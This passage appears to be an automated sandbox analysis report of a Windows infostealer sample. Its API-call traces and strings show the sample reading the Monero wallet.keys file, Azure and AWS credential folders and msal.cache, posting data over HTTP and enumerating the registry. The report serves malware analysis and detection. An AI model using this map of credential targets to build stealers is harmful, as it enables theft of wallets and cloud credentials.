Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01008B60: GetSystemTime.KERNEL32(01010E1A,0087BC50,010105AE,?,?,00FF13F9,?,0000001A,01010E1A,00000000,?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 01008B86

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FFCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FFD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00FFD0CE
lstrcat.KERNEL32(?,00000000), ref: 00FFD208
lstrcat.KERNEL32(?,01011478), ref: 00FFD217
lstrcat.KERNEL32(?,00000000), ref: 00FFD22A
lstrcat.KERNEL32(?,0101147C), ref: 00FFD239
lstrcat.KERNEL32(?,00000000), ref: 00FFD24C
lstrcat.KERNEL32(?,01011480), ref: 00FFD25B
lstrcat.KERNEL32(?,00000000), ref: 00FFD26E
lstrcat.KERNEL32(?,01011484), ref: 00FFD27D
lstrcat.KERNEL32(?,00000000), ref: 00FFD290
lstrcat.KERNEL32(?,01011488), ref: 00FFD29F
lstrcat.KERNEL32(?,00000000), ref: 00FFD2B2
lstrcat.KERNEL32(?,0101148C), ref: 00FFD2C1
lstrcat.KERNEL32(?,00000000), ref: 00FFD2D4
lstrcat.KERNEL32(?,01011490), ref: 00FFD2E3

Part of subcall function 0100A820: lstrlen.KERNEL32(00FF4F05,?,?,00FF4F05,01010DDE), ref: 0100A82B
Part of subcall function 0100A820: lstrcpy.KERNEL32(01010DDE,00000000), ref: 0100A885

lstrlen.KERNEL32(?), ref: 00FFD32A
lstrlen.KERNEL32(?), ref: 00FFD339

Part of subcall function 0100AA70: StrCmpCA.SHLWAPI(0087A710,00FFA7A7,?,00FFA7A7,0087A710), ref: 0100AA8F

DeleteFileA.KERNEL32(00000000), ref: 00FFD3B4

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: a5513254b63609dd3c95c9fc2753133fe73059186e66e25542c33d74b8b4c386
Instruction ID: e5345630c1e6d8de7b4d362fee75a761b8a5dcfea7c75c6cda1ef213e4108996
Opcode Fuzzy Hash: a5513254b63609dd3c95c9fc2753133fe73059186e66e25542c33d74b8b4c386
Instruction Fuzzy Hash: D0E13471A10209EBDB15EBA0DD99EEE7378BF64200F104168E187A70D4DF35AF49DB61

Function 00FF4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
Part of subcall function 00FF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FF4915
StrCmpCA.SHLWAPI(?,0087FE88), ref: 00FF493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,01010DDB,00000000,?,?,00000000,?,",00000000,?,0087FEB8), ref: 00FF4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FF4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FF4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FF4E49
InternetCloseHandle.WININET(00000000), ref: 00FF4EAD
InternetCloseHandle.WININET(00000000), ref: 00FF4EC5
HttpOpenRequestA.WININET(00000000,0087FDF8,?,0087FA68,00000000,00000000,00400100,00000000), ref: 00FF4B15

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

InternetCloseHandle.WININET(00000000), ref: 00FF4ECF

Strings

", xrefs: 00FF4D33
------, xrefs: 00FF4B28
", xrefs: 00FF4BF2
------, xrefs: 00FF49BD
------, xrefs: 00FF4C69

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 8774416ab8cf1fbfc9cac9437c6648bf8b3e98e35dddaeb2223a131a04ad59b2
Instruction ID: b71187582ce10f052c9c54e3a3a7bea18c0d37b1ecde2f5239edcf3e0084f94b
Opcode Fuzzy Hash: 8774416ab8cf1fbfc9cac9437c6648bf8b3e98e35dddaeb2223a131a04ad59b2
Instruction Fuzzy Hash: 0912CF71A10219EAEB16EB90DD95FEEB379BF24300F5041A9A186670D0EF742F49CF61

Function 01008320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

RegOpenKeyExA.KERNEL32(00000000,0087CC90,00000000,00020019,00000000,010105B6), ref: 010083A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01008426
wsprintfA.USER32 ref: 01008459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0100847B
RegCloseKey.ADVAPI32(00000000), ref: 0100848C
RegCloseKey.ADVAPI32(00000000), ref: 01008499

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Strings

%s\%s, xrefs: 0100844D
?, xrefs: 0100837A
- , xrefs: 010085A3

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: a9ae3a8adf07347f0c15d3db1889bc0b6b5f72c0b1ec097e402a26a049e3bbb4
Instruction ID: 815282f43472453ffd444c50c1a57fa5f1a177be22cbf322153ca7ac962fa2e8
Opcode Fuzzy Hash: a9ae3a8adf07347f0c15d3db1889bc0b6b5f72c0b1ec097e402a26a049e3bbb4
Instruction Fuzzy Hash: 91811D71910218DBEB65DB54DC94FEAB7B8BF58700F0082D9E18AA7180DF756B85CFA0

Function 00FF6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
Part of subcall function 00FF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

InternetOpenA.WININET(01010DFE,00000001,00000000,00000000,00000000), ref: 00FF62E1
StrCmpCA.SHLWAPI(?,0087FE88), ref: 00FF6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF6335
HttpOpenRequestA.WININET(00000000,GET,?,0087FA68,00000000,00000000,00400100,00000000), ref: 00FF6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FF63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FF63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00FF63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FF646D
InternetCloseHandle.WININET(00000000), ref: 00FF64EF
InternetCloseHandle.WININET(00000000), ref: 00FF64F9
InternetCloseHandle.WININET(00000000), ref: 00FF6503

Strings

GET, xrefs: 00FF637C
ERROR, xrefs: 00FF6407
ERROR, xrefs: 00FF64C9

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: e38aa864b14468f179512668e2b0414725d430060948d536a91c3a0324b3bdb4
Instruction ID: c03137201ba77b59a442d3728bb3a2feb67cb4d1a63fa8ce64270c37a71e0ceb
Opcode Fuzzy Hash: e38aa864b14468f179512668e2b0414725d430060948d536a91c3a0324b3bdb4
Instruction Fuzzy Hash: B4713F71A00318EBEB25EBA0DC48FEE7774BF54700F108159E24AAB1D4DBB46A85DF51

Function 01005510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A820: lstrlen.KERNEL32(00FF4F05,?,?,00FF4F05,01010DDE), ref: 0100A82B
Part of subcall function 0100A820: lstrcpy.KERNEL32(01010DDE,00000000), ref: 0100A885

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01005644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 010056A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01005857

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 010051F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01005228

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 010052C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01005318
Part of subcall function 010052C0: lstrlen.KERNEL32(00000000), ref: 0100532F
Part of subcall function 010052C0: StrStrA.SHLWAPI(00000000,00000000), ref: 01005364
Part of subcall function 010052C0: lstrlen.KERNEL32(00000000), ref: 01005383
Part of subcall function 010052C0: lstrlen.KERNEL32(00000000), ref: 010053AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0100578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01005940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01005A0C
Sleep.KERNEL32(0000EA60), ref: 01005A1B

Strings

ERROR, xrefs: 010059FE
ERROR, xrefs: 01005932
ERROR, xrefs: 0100577D
ERROR, xrefs: 01005849
ERROR, xrefs: 01005636
ERROR, xrefs: 01005693

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 4841124f8ac9662d2de1ed54c3717b9ef2b30f297346cfd814589a8544febb01
Instruction ID: 27c3c0263659fabea48d408aa1d6b85ab95f46196f82b2483299c3870b15b2f4
Opcode Fuzzy Hash: 4841124f8ac9662d2de1ed54c3717b9ef2b30f297346cfd814589a8544febb01
Instruction Fuzzy Hash: 3DE11171A10209DAEB16FBA0EC55EFD7378BF64200F408568A587970D4EF356B4DCBA1

Function 01004D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

lstrcat.KERNEL32(?,00000000), ref: 01004DB0
lstrcat.KERNEL32(?,\.azure\), ref: 01004DCD

Part of subcall function 01004910: wsprintfA.USER32 ref: 0100492C
Part of subcall function 01004910: FindFirstFileA.KERNEL32(?,?), ref: 01004943

lstrcat.KERNEL32(?,00000000), ref: 01004E3C
lstrcat.KERNEL32(?,\.aws\), ref: 01004E59

Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,01010FDC), ref: 01004971
Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,01010FE0), ref: 01004987
Part of subcall function 01004910: FindNextFileA.KERNEL32(000000FF,?), ref: 01004B7D
Part of subcall function 01004910: FindClose.KERNEL32(000000FF), ref: 01004B92

lstrcat.KERNEL32(?,00000000), ref: 01004EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 01004EE5

Part of subcall function 01004910: wsprintfA.USER32 ref: 010049B0
Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,010108D2), ref: 010049C5
Part of subcall function 01004910: wsprintfA.USER32 ref: 010049E2
Part of subcall function 01004910: PathMatchSpecA.SHLWAPI(?,?), ref: 01004A1E
Part of subcall function 01004910: lstrcat.KERNEL32(?,0087FE98), ref: 01004A4A
Part of subcall function 01004910: lstrcat.KERNEL32(?,01010FF8), ref: 01004A5C
Part of subcall function 01004910: lstrcat.KERNEL32(?,?), ref: 01004A70
Part of subcall function 01004910: lstrcat.KERNEL32(?,01010FFC), ref: 01004A82
Part of subcall function 01004910: lstrcat.KERNEL32(?,?), ref: 01004A96
Part of subcall function 01004910: CopyFileA.KERNEL32(?,?,00000001), ref: 01004AAC
Part of subcall function 01004910: DeleteFileA.KERNEL32(?), ref: 01004B31

Strings

Azure\.IdentityService, xrefs: 01004EEB
\.azure\, xrefs: 01004DC1
*.*, xrefs: 01004E64
\.IdentityService\, xrefs: 01004ED9
*.*, xrefs: 01004DD8
Azure\.aws, xrefs: 01004E5F
\.aws\, xrefs: 01004E4D
msal.cache, xrefs: 01004EF0
Azure\.azure, xrefs: 01004DD3

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
